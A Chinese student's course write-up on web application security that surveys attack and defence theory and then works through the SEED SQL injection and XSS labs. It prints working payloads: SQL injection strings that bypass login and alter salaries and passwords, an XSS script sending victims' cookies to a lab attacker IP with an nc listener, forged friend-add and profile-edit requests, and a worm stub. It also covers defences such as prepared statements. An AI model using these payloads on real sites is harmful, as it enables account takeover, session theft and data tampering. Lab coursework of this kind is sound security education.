20199122 2019-2020-2 《网络攻防实践》第十一周作业
20199122 2019-2020-2 《网络攻防实践》第十一周作业
1.实践内容
1.1web应用程序体系结构
- web应用程序是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态。
- 体系结构如下图所示。浏览器作为客户端完成数据显示和内容展示的渲染功能。服务器(包括web服务器、web应用程序以及数据库)完成主要业务的计算处理。两者通过因特网或内联网上的HTTP/HTTPS应用层协议的请求与应答进行通信。
- 浏览器:使用HTTP/HTTPS协议、HTML语言与Web服务器进行交互,获取web服务器上的信息和应用服务。如IE、Firefox、Chrome等。
- Web服务器:又称HTTP守护程序,接收Web客户端对资源的请求,执行一些基本解析操作确定资源的存在,传送给web应用程序来执行,当web应用程序执行完并返回响应时。web服务器将返回结果返回客户端。
- Web应用程序:负责服务器端的业务逻辑处理,常见的三层体系结构:表示层、业务逻辑层和数据层
- 数据库:web应用存储数据的地方。如My SQL
- 传输协议HTTP/HTTPS:浏览器与Web站点之间的通信传输协议是HTTP/HTTPS协议,超文本传输协议(HTTP)默认使用TCP 80端口,该协议采用统一资源标识符URI对各种资源进行统一定义,无状态、ASCII码明文传输,采用请求/响应模式。
- web应用安全威胁:
- 针对浏览器和终端用户的Web浏览安全威胁:网页木马、网站钓鱼等。
- 针对传输层的网络协议安全威胁:针对HTTP明文传输协议的敏感信息监听、假冒身份攻击、拒绝服务攻击等。
- 系统层安全威胁:Web站点的宿主操作系统。
- Web服务器软件安全威胁:Web服务器软件如IIS、Apache存在着安全漏洞与弱点。
- web应用程序安全威胁:程序员在使用ASP、PHP等脚本编程语言实现Web应用程序,由于缺乏安全意识或不良的编程习惯,被攻击者渗透利用。如SQL注入攻击、XSS跨站脚本攻击。
- Web数据安全威胁:Web站点中在Web应用程序后台存储的关键数据内容,以及web客户输入的数据内容,存在泄密,篡改等威胁。
1.2Web应用安全攻防技术概述
-
Web应用的信息收集:对目标web应用服务进行发现与剖析,标识出它的基本轮廓。具体包括:服务器域名、IP地址和虚拟IP地址、Web服务器端口与其他开放服务、Web站点类型和版本、Web应用程序类型及版本、Web服务器及Web应用程序中存在的安全漏洞信息。
- 手工审查Web应用程序结构与源代码:手工浏览web应用的各个页面、菜单、目录,并查看关键页面的源代码
- 静态和动态生成页面。如表单中的隐藏字段、用户口令、SQL字符串。
- 目录结构。web服务器上可能存在的管理员目录、旧版本目录、备份目录、数据目录等。
- 辅助性文件。如审查CSS级联样式表、XML样式表等可能会得到数据库字段结构、目录路径、web应用输入参数等。
- 输入表单。表单是web应用程序接受用户输入的主要途经。可通过源代码查看关键信息。如:提交数据的方法、输入字段名称、最大长度限制等。
- 查询参数字符串。可被复用以假冒其他用户、获取受限的数据、运行任意的系统命令等。
- 自动下载与镜像Web站点页面:自动审查分析web站点的页面源代码。如linux的wget。
- 使用Google Hacking技术审查与探测Web应用程序:使用Google搜索引擎或其他Google应用,在web站点中的配置、计算机代码及包含数据中,寻找安全漏洞与敏感信息的计算机黑客技术。
- Web应用程序安全评估与漏洞审查。web应用安全辅助分析工具主要分为:浏览器插件、免费工具集、商业Web应用安全评估系统和漏洞扫描器。
- 手工审查Web应用程序结构与源代码:手工浏览web应用的各个页面、菜单、目录,并查看关键页面的源代码
-
攻击Web服务器软件,web服务器平台中的安全漏洞分为:
-
数据驱动的远程代码执行安全漏洞:Web服务器软件作为网络服务守护进程,也面临缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程攻击渗透攻击。
- 服务器功能扩展模块漏洞:扩展模块为核心HTTP增加其他功能。如:动态代码执行(ASP)、站点检索(IIS)、web分布式写作与版本管理协议WebDAV。IIS软件、WebDAV模块都存在漏洞。
- 样本文件安全漏洞:Web应用服务器包含的样本文件和代码示例存在漏洞。
- 源代码泄露:攻击者能够查看到没有防护措施Web服务器上的应用程序源码。可用利用这些漏洞查看系统级的文件。
- 资源解析攻击:web服务器在处理资源请求时,把同一资源的不同表示方式解析为标准化名称。在解析时泄露一些输入合法性与合理性验证的处理。
-
攻击Web应用程序,将web应用程序安全威胁从攻击技术角度分为以下几类:
-
针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段。如:暴力枚举。
- 授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段。如信任/会话预测、利用授权机制不完善弱点。
- 客户端攻击:扰乱或渗透攻击web站点客户端用户的攻击手段。如:跨站脚本攻击。
- 命令执行攻击:在web站点执行远程命令的攻击手段。如:缓冲区溢出、SQL注入攻击。
- 信息暴露:获取web站点具体系统信息的攻击手段。如:目录列举、信息泄露。
- 逻辑攻击:扰乱或渗透攻击web应用逻辑流程的攻击手段。如拒绝服务攻击。
-
攻击Web数据内容:将数据进行泄露
-
安全敏感数据泄露:由于不安全配置、使用者疏忽和缺乏安全意识
- web服务器存在目录遍历漏洞或不安全的目录文件枚举配置,在不经意间泄露。
- 利用web服务器的upload、incoming等上传目录临时中转文件时泄露。
- 在web站点公开的文档资料中包含个人隐私、企业秘密。
- 网站篡改:利用特定攻击手段入侵网站后,将网站页面内容进行替换,从而宣示入侵成功或表达攻击者的某种观点诉求。
- 不良信息内容上传:网站被入侵和控制后可能成为不良信息上传的威胁。
-
Web应用安全防范措施
-
web站点网络传输安全设防措施
- 尽量使用HTTPS协议传输
- 通过加密的连接通道管理Web站点,使用SSH、SFTP等安全协议
- 对关键的Web服务器,设置静态绑定MAC-IP映射
-
web站点操作系统及服务安全设法措施
- 对web站点操作系统及软件及时补丁更新
- 对web站点操作系统及各种开放服务进行远程安全漏洞扫描
- 关闭不使用的服务;设置强口令;部署防火墙
-
web应用程序安全设防措施
- 谨慎使用动态页面
- 尽量使用具有良好安全声誉及稳定技术支持力量的web应用软件包
- 在开发或部署时需重视安全编程、持续性的安全测试与维护
- 使用日志功能
-
web站点数据安全设防措施
- 提高安全意识
- 对数据安全实施日常监测和防护
-
1.3SQL注入
-
代码注入攻击利用Web应用程序的输入验证不完善漏洞,使得Web应用程序执行由攻击者所注入的恶意指令和代码,造成敏感信息泄露、权限提升等后果。根据攻击目标的不同分为:
- 恶意读取、修改与操纵数据库的SQL注入攻击;
- 在Web服务器端安装、执行Webshaell等恶意脚本的PHP注入或ASP注入攻击;
- 在Web服务器端恶意执行操作系统命令的shell注入攻击
- 其他攻击如LDAP注入、邮件命令注入、空字节注入等。
-
SQL注入是利用Web应用程序的数据层存在的输入验证不完善性安全漏洞实施的代码注入攻击技术。由于用户输入没有被正确地过滤以消除SQL语言中的转义字符,如引号、双引号等;或没有进行严格的类型判断,如未判断输入参数是否合法整数类型等;使得用户可以输入并执行一些非预期的SQL指令代码。
-
举例说明,提交后台数据库的查询SQL语句:
select *from accounts WHERE username ='guojing' and passwd='123456';
当用户名与密码皆正确时就会登录成功。如果在用户名与密码框中分别输入:huang' or '1'='1
.其查询语句变为:select *from accounts WHERE username ='huang' or '1'='1' and passwd='huang' or '1'='1';
可以看到where为永真式,无论username和passwd为什么内容,通过SQL注入攻击就可登录成功。
-
SQL注入攻击步骤:
- 发现SQL注入点,常见注入点如:http://SITE/xxx.asp?some_rec=yyy的动态网页。参数类型可能是整数型或字符串型。参数是整数型时,若以下情况皆满足则判断存在SQL注入点。
- 将
yyy
改为yyy'
,由于输入后的数据类型不符合SQL语句错误,返回错误提示信息 - 将
yyy
改为yyy and 1=1
,返回正常页面,因为1=1是永真式。 - 将
yyy
改为yyy and 1=2
,返回空白页面或错误提示信息
- 将
- 判断后台数据库类型
- 利用数据库服务器的系统变量,如MS SQL Server有user和db_name()等系统变量
- 利用数据库服务器的系统表进行判断,如ACCESS的系统表是msysobjects
- 后台数据库中管理员用户口令猜解
- 猜解表名
- 猜解字段名
- 用户名与口令猜解
- 上传ASP后门、得到默认账号权限:在破解得到Web应用管理员用户名和口令后,通过找出后台管理界面登录,攻击者就可以通过后台管理界面通常所提供的的下载上传文件等功能上传ASP后门,按照其绕过正常安全控制机制给出远程控制通道作用,对Web站点进行远程控制。
- 本地权限提升
- 利用数据库扩展存储过程执行shell命令:利用该存储过程直接调用操作系统的shell命令进行任意的操作。
- 发现SQL注入点,常见注入点如:http://SITE/xxx.asp?some_rec=yyy的动态网页。参数类型可能是整数型或字符串型。参数是整数型时,若以下情况皆满足则判断存在SQL注入点。
-
SQL注入攻击工具:
- Wposion:能够在动态Web文档中找出SQL注入漏洞的工具。
- mieliekoek.pl:以网站镜像工具生成的输出为输入,找出含有表单页面。
- SPIKE Proxy工具:允许使用者对待注入字符串进行定制,执行自动化SQL注入测试。
- SPI Toolkit工具包中的“SQL Injector”的自动化SQL注入测试工具。
-
SQL注入攻击防范措施:
- 使用类型安全(type-safe)的参数编码机制。
- 凡是来自外部的用户输入,必须进行完备检查。
- 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象。
- 加强SQL数据库服务器的配置与连接。
1.4XSS跨站脚本攻击
-
XSS跨站脚本攻击的最终目标不是提供服务的Web应用程序而是使用Web应用程序的用户。XSS跨站脚本漏洞存在于Web应用程序中,使得攻击者可以在Web页面中插入恶意的HTML或JavaScript代码,当用户浏览网页时,浏览器会解析这些插入的代码,从而获取用户敏感信息、客户端渗透攻击等后果。
-
原理:Web应用程序对用户输入内容的安全验证与过滤不够完善。
-
攻击类型:
- 持久性XSS漏洞:出现于将用户输入持久性地保存在web服务器上,并能在一些页面正常显示。通常出现在留言本、BBS论坛、博客等应用程序。
- 非持久性漏洞(反射XSS漏洞):当web浏览器在HTTP请求参数,被立即由服务器端脚本使用产生一个提供给该用户地结果页面,因缺乏适当地请求数据安全验证与过滤,则可能存在非持久性漏洞。
-
针对非持久性攻击步骤如下:
-
XSS攻击步骤:
- 测试XSS漏洞,测试该网站是否存在XSS漏洞
- 显示用户的会话Cookie
- 窃取用户的会话cookie
- 利用cookie假冒其他用户
- 编写实现xss蠕虫
-
XSS攻击防范措施:
-
服务器端防范措施:对所有来自外部的用户输入进行完备检查,以“限制、拒绝、净化”进行严格过滤。
- 输入验证: 对用户提交数据进行尽可能严格的验证与过滤。
- 输出净化: 对输入数据进行HTML编码,净化可能的恶意字符。
- 消除危险的输入点。尽量避免一些位置进行插入。
-
客户端防范措施
-
提高浏览器访问非受信网站时的安全等级。
-
关闭Cookie功能或设置Cookie只读。
-
-
2.实践过程
实践作业一: SEED SQL注入实验
某网站上有管理员和普通员工登录,管理员可以管理每个员工的个人资料信息。 员工是可以查看或更新自己的个人资料信息。
1.实验环境
- Web应用:http://www.SEEDLabSQLInjection.com (可在firebox浏览器的收藏夹中看到SQL inject的网址)
- 程序源代码:/var/www/SQLInjection/
- 启动Apache Server:
sudo service apache2 start
,(最好先su提权,再运行,我不知道为啥我的密码seedubuntu输不对)
2.任务一:熟悉SQL语句
- 使用指令
mysql -u root -pseedubuntu
登陆MySql数据库,-u
:用户名,-p
:密码。
- 登录数据库后,即可创建新的数据库或加载已有的数据库,如可用
use Users;
加载已有的Users数据库,用show tables;
查看Users数据库下的表。(记得打分号)
select * from credential;
可打印表格中的所有信息,从中可得Alice的信息,可用看出密码应该是以哈希值保存的。
3.任务二:对SELECT语句的攻击
- 知道管理员name为:admin,不知道密码,根据SQL注入原理设计语句作为用户名和密码(pwd)输入登录管理员用户。网站验证用户名和输入的密码经哈希计算后与保存在数据库中的管理员信息一致,则登录成功。即
select *from where Name='admin' and Password =hash('pwd')
。因为我们不知道密码,则需设置select语句不验证password时,该语句也会成立。因而用#注释掉password的验证,只验证Name。即设计用户名输入admin '#
,密码随便输入啥都不影响。即查询语句变为:select *from where Name='admin ' #' and Password =hash('pwd')
。登录成功后即可查看所有用户的个人信息,与之前在数据库中的信息一致,亦符合题意。
- 用命令行完成管理员登录,用curl:可用发送http请求。
curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20%23'
这里要注意特殊符号进行转义,单引号:%27,空格:%20,#:%23. 可以看到用户信息与网页登录一致,即可验证管理员登录成功
- 添加一个新的SQL语句。分号(;)用于分隔两条SQL语句。
admin’; delete where Name='Boby' #
,然后攻击不成功。
- 用
admin’; update credential set Email='1234.com' where Name='Alice' #
4.任务三:对UPDATE语句的攻击
- 查看后台代码unsafe edit backend.php ,即允许员工update(更新)他们的个人信息,包括昵称、电子邮件、地址、电话号码和密码
-
修改Alice的工资,普通员工是无权修改薪水的。因为老板没有涨钱,所以自己利用SQL注入漏洞修改系统里的薪水。
-
登录Alice ;用户名输入
Alice '#
。登录后可得用户薪水为20000,EID为10000. -
然后进入修改页面。ps:这里我没找到怎么从查看页面进入修改页面,没找到编辑按钮啊???于是我从网址出发,可以从源代码文件夹中得知修改页面代码在unsafe_ edit_frontend.php.然后将网址显示的页面改改。就出现修改页面了。
-
在NickName或Email或Adress输入
', salary='50000' where Name='Alice';#
-
点击保存,即可出现修改后的薪水:50000
-
- 修改Boby的工资,将Boby的工资降为1元。登录Alice的账号修改Boby的工资。在NickName行输入
', salary='1' where name='Boby';#
,然后登录Boby的账号进行查看可知修改成功。因为之前Boby的薪水为30000.
-
修改Boby的密码,密码在数据库中是以sha1的形式存储的。
- 获取设计的密码的sha1值,如用
echo -n '2020'|sha1sum
,可得密码2020的哈希值85568b20c3315286c4dfebb330b25146f92bed66
- 登录Alice用户,用
', Password ='85568b20c3315286c4dfebb330b25146f92bed66' where Name='Boby';#
修改NickName。 - 用Boby和2020可登录成功。证明修改成功。
- 获取设计的密码的sha1值,如用
5.任务四:对抗SQL注入
-
SQL注入漏洞的根本原因是没有将代码和数据区分开。当组建一个SQL语句时,程序
(如PHP程序)知道哪个部分是代码哪个部分是数据。不幸的是当SQL语句送往数据库执
行时,这个边界被打破,当程序被注入时,SQL解释器看到的边界可能和最初的边界不一
样。 -
解决方法之一是将数据和SQL逻辑区分开来准确地告诉数据库哪是数据部分以及哪是逻辑部分。MySQL提供了Prepare Statement机制来达到这一目的。使用该机制,即将发送SQL语句分为几步。
- 发送代码,如需要下一步填入数据的SQL语句,实际的数据被问号(?)所代替。
- 然后发送数据至数据库。
-
如将下列查询代码改为预处理机制
$sql = "SELECT name, local, gender FROM USER_TABLE WHERE id = $id AND password =’$pwd’ "; $result = $conn->query($sql))
-
预处理机制,bind_param函数第一个参数“is”,“i”表示id中的数据具有整数类型,“s”表示pwd中的数据具有字符串类型
$stmt = $conn->prepare("SELECT name, local, gender FROM USER_TABLE WHERE id = ? and password = ? "); // Bind parameters to the query $stmt->bind_param("is", $id, $pwd); //传递参数给数据库引擎 $stmt->execute(); //执行 $stmt->bind_result($bind_name, $bind_local, $bind_gender);//绑定结果集(变量指向的是内存地址) $stmt->fetch();//输出结果集
-
登录界面的源代码在在unsafe_home.php中,如下图。然后按照Prepare Statement机制进行修改。ps:似乎不能在文档中直接修改,没有权限。要在命令行提权后修改
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
$sql->execute();
$sql->bind_result($id, $name, $eid, $salary, $birth, $ssn, $phoneNumber, $address, $email, $nickname, $pwd);
$sql->fetch();
$sql->close();
- 在这里我尝试改过源代码,不过没有成功。
实践作业二:SEED XSS攻击实验
1.实验环境
- URL: http://www.xsslabelgg.com
- 源代码: /var/www/XSS/Elgg
- 启动Apache Server:
sudo service apache2 start
- 下载HTTP Header Live插件,在firebox启用
2.测试漏洞
-
用Boby的账号,密码seedboby登录网站
-
编辑个人界面,在Brief description域中添加JavaScript代码(
<script>alert(’XSS’);</script>
)并保存,任何查看您的概要文件的用户都将看到警报窗口
3.显示当前用户的cookie信息
- 用Boby账号登录,编辑个人界面,将代码换成
<script> alert(document.cookie);</script>
- 用Alice登录,访问Boby页面
4.获取受害主机的cookie
- 恶意JavaScript代码需要向攻击者发送一个HTTP请求,并在请求后附加cookie,攻击者才能看到受害主机的cookie.攻击机的ip地址为:192.168.0.106
<script>document.write(’<img src=http://192.168.0.106:555?c=’+ escape(document.cookie) + ’ >’); </script>
-
在攻击机上运行命令
nc -l 5555 -v
,-l
:TCP连接,-v:输出较详细的信息,任何网页访问Boby主页皆可获得Boby的cookie信息。
5.成为受害者的朋友
- 查看HTTP Header Live,登录Boby,在Alice的主页添加朋友,HTTP Header Live里的操作,请求方式是post;请求的地址是http://www.xsslabelgg.com/action/friends/add;第一个参数是friend=44;第二个参数是elgg_ts=;请求地址的第三个参数是elgg_token=,
-
根据需要编写以下代码,自动添加好友,Alice的编号为44
<script type="text/javascript"> window.onload = function () { var Ajax=null; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;//获取elgg_ts和elgg_token var token="&__elgg_token="+elgg.security.token.__elgg_token; var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; //构造URL //发送请求 Ajax=new XMLHttpRequest(); Ajax.open("GET",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); Ajax.send(); } </script>
-
先移除Alice好友,将这段代码放到
Boby
的About ME
,发现Boby自动添加好友Alice
- 这段代码大概就是谁访问Boby的主页,谁就会添加Alice为好友。
6.修改受害者的信息
- 点击编辑信息,用HTTP Header Live查看修改profile时的操作。同样,请求URL为:http://www.xsslabelgg.com/action/profile/edit;获取访问者的&elgg_token=、&elgg_ts、&__name。构建请求url,通过 XMLHttpRequest 对象构建请求,请求的方式为POST,设置请求头和其他信息,通过send函数发送请求。
-
修改信息代码如下,即将下列代码放入Alice的about me中。任何访问Alice主页的用户的信息将被修改。字段里都是用户的信息,如name,decsription,briefdescription之类的,在字符段里添加你想修改的内容即可。
<script type="text/javascript"> window.onload = function(){ //JavaScript code to access user name, user guid, Time Stamp __elgg_ts //and Security Token __elgg_token var userName=elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid; var sendurl = "http://www.xsslabelgg.com/action/profile/edit"; var samyGuid=44; if(elgg.session.user.guid!=samyGuid){ //Create and send Ajax request to modify profile var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content); } } </script>
-
用Boby账号登录,然后访问Alice主页,回到Boby页面,可以发现Boby的信息被修改了
7.编写实现蠕虫
-
就是将这段代码能够自动复制到其他用户那里,使用DOM API的方法,文档对象模型,将Web页面和脚本或程序语言连接起来。
-
将下列代码放置在Samy的about me中
<script id="worm" type ="text/javascript"> var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; var jsCode = document.getElementById("worm").innerHTML; var tailTag = "</" + "script>"; var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); alert(jsCode); </script>
-
登录Charlie,访问Samy主页时,发现下列窗口,即攻击成功。
8.对抗XSS攻击
- Elgg包含对抗XSS攻击的插件,用管理员账户进行登录,找到
Account->administration->plugins
,并且找到插件HTMLawed
,主要作用是对用户的输入输出进行校验并且去除特定标签。
3.学习中遇到的问题及解决
- 问题1:对js编程不会
- 问题1解决方案:写是不太可能了,参考其他同学博客
- 问题2:seed的版本和指导书上不一致
- 问题2解决方案:感谢解建国同学提供的指导书,虽然是英文的
4.实践总结
发现自己真是干啥啥不行啊,理论一般般,实践一般般,编程也一般般。
继续加油吧!